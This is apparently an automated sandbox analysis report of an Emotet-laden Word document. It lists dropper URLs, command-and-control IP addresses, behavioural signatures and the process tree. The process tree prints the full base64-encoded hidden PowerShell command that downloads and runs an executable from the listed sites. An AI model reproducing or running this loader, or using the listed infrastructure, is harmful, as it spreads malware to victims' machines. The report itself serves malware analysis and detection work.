Analysis

  • max time kernel
    28s
  • resource
    win10v191014
  • submitted
    22-01-2020 07:01

General

  • Target

    4193cc28bba587d73c8c3e901813a79cfa6fff7a43170f4cd99a6ce7560b1719

  • Sample

    200122-6vcbsrqw8e

  • SHA256

    4193cc28bba587d73c8c3e901813a79cfa6fff7a43170f4cd99a6ce7560b1719

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://trangvang.info.vn/home/poIc7l/

exe.dropper

https://www.flybuys.net/libraries/xes/

exe.dropper

http://informatic-club.com/language/y/

exe.dropper

http://demo.stickypost.io/wp-admin/g/

exe.dropper

https://www.drivertrainerschool.com.au/logs/RYJPgrKOJ/

Extracted

Family

emotet

C2

68.114.229.171:80

74.101.225.121:443

152.168.248.128:443

217.160.19.232:8080

176.9.43.37:8080

5.199.130.105:7080

37.187.72.193:8080

68.172.243.146:80

181.143.126.170:80

108.191.2.72:80

85.152.174.56:80

101.187.197.33:443

121.88.5.176:443

189.203.177.41:443

78.186.5.109:443

66.34.201.20:7080

209.141.54.221:8080

181.126.70.117:80

87.106.136.232:8080

181.13.24.82:80

rsa_pubkey.plain

Signatures

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs
  • Executes dropped EXE 2 IoCs
  • Suspicious behavior: EmotetMutantsSpam 1 IoCs
  • Emotet

    Emotet is a trojan that is primarily spread through spam emails

  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Process spawned unexpected child process 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\4193cc28bba587d73c8c3e901813a79cfa6fff7a43170f4cd99a6ce7560b1719.doc" /o ""
    1⤵
    • Suspicious behavior: AddClipboardFormatListener
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious use of SetWindowsHookEx
    PID:4868
  • C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
    Powershell -w hidden -en JABNAGEAdABlAGQAdgB0AG4AZAA9ACcASABpAGoAcgBsAGsAbABjAG4AYgAnADsAJABYAGcAbQB4AGkAagBsAHEAaQBjAGsAbABpACAAPQAgACcAMQAzADkAJwA7ACQATABhAHkAcABvAHQAdwBrAG4APQAnAFMAcwBrAGYAYwBkAHMAaQBrAHcAYwBjACcAOwAkAFkAcQBlAGkAcwBoAHIAZgB0AG0AcAA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAWABnAG0AeABpAGoAbABxAGkAYwBrAGwAaQArACcALgBlAHgAZQAnADsAJABSAGEAegBnAGcAZQBpAHAAcABzAGMAPQAnAFkAawBxAGIAdAB4AHAAegAnADsAJABTAG4AeQBsAGUAdAB6AGsAZgBqAGYAbgA9ACYAKAAnAG4AZQAnACsAJwB3AC0AbwAnACsAJwBiACcAKwAnAGoAZQBjAHQAJwApACAAbgBlAFQALgB3AEUAQgBDAEwAaQBFAG4AVAA7ACQARwBhAHAAawBzAGUAaQB2AGUAbwA9ACcAaAB0AHQAcAA6AC8ALwB0AHIAYQBuAGcAdgBhAG4AZwAuAGkAbgBmAG8ALgB2AG4ALwBoAG8AbQBlAC8AcABvAEkAYwA3AGwALwAqAGgAdAB0AHAAcwA6AC8ALwB3AHcAdwAuAGYAbAB5AGIAdQB5AHMALgBuAGUAdAAvAGwAaQBiAHIAYQByAGkAZQBzAC8AeABlAHMALwAqAGgAdAB0AHAAOgAvAC8AaQBuAGYAbwByAG0AYQB0AGkAYwAtAGMAbAB1AGIALgBjAG8AbQAvAGwAYQBuAGcAdQBhAGcAZQAvAHkALwAqAGgAdAB0AHAAOgAvAC8AZABlAG0AbwAuAHMAdABpAGMAawB5AHAAbwBzAHQALgBpAG8ALwB3AHAALQBhAGQAbQBpAG4ALwBnAC8AKgBoAHQAdABwAHMAOgAvAC8AdwB3AHcALgBkAHIAaQB2AGUAcgB0AHIAYQBpAG4AZQByAHMAYwBoAG8AbwBsAC4AYwBvAG0ALgBhAHUALwBsAG8AZwBzAC8AUgBZAEoAUABnAHIASwBPAEoALwAnAC4AIgBzAGAAcABsAEkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEcAegBqAGkAdQBhAGgAagB5AHIAeQB4AHQAPQAnAEgAZwBrAGMAZABzAGQAZgAnADsAZgBvAHIAZQBhAGMAaAAoACQASwB4AHoAdABhAGwAaABwAGkAbgB2ACAAaQBuACAAJABHAGEAcABrAHMAZQBpAHYAZQBvACkAewB0AHIAeQB7ACQAUwBuAHkAbABlAHQAegBrAGYAagBmAG4ALgAiAGQAYABvAHcATgBMAGAATwBhAEQARgBgAGkAbABFACIAKAAkAEsAeAB6AHQAYQBsAGgAcABpAG4AdgAsACAAJABZAHEAZQBpAHMAaAByAGYAdABtAHAAKQA7ACQAWQB0AHYAagBlAHIAcwB5AGEAdABoAHcAPQAnAE8AaABqAGQAZwBmAGIAcgB0AHgAbAAnADsASQBmACAAKAAoAC4AKAAnAEcAZQB0AC0AJwArACcASQB0AGUAbQAnACkAIAAkAFkAcQBlAGkAcwBoAHIAZgB0AG0AcAApAC4AIgBsAGAAZQBuAGcAdABIACIAIAAtAGcAZQAgADMAMgA2ADgAMQApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBzAGAAVABhAFIAVAAiACgAJABZAHEAZQBpAHMAaAByAGYAdABtAHAAKQA7ACQATwBoAGQAdQBqAHAAdwBoAG0AegB0AGEAZwA9ACcARAB3AGwAawB3AG4AdwBqAHoAeQB1AHMAJwA7AGIAcgBlAGEAawA7ACQAWAB4AG8AbAB2AGsAdABxAD0AJwBIAHEAaAB1AGoAagBnAHoAZAB6ACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEEAZgBpAGkAcwB4AGQAdgA9ACcAUQBnAHAAYwBmAG8AbABvAHkAbgBrAHoAZAAnAA==
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    • Process spawned unexpected child process
    • Suspicious use of AdjustPrivilegeToken
    PID:4036
    • C:\Users\Admin\139.exe
      "C:\Users\Admin\139.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      • Executes dropped EXE
      PID:4524
      • C:\Users\Admin\139.exe
        --9465b8d5
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EmotetMutantsSpam
        PID:4672

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • C:\Users\Admin\139.exe

  • C:\Users\Admin\139.exe

  • C:\Users\Admin\139.exe

  • memory/4524-7-0x0000000000A50000-0x0000000000A65000-memory.dmp

    Filesize

    84KB

  • memory/4672-9-0x00000000005D0000-0x00000000005E5000-memory.dmp

    Filesize

    84KB

  • memory/4672-10-0x0000000000400000-0x000000000047B000-memory.dmp

    Filesize

    492KB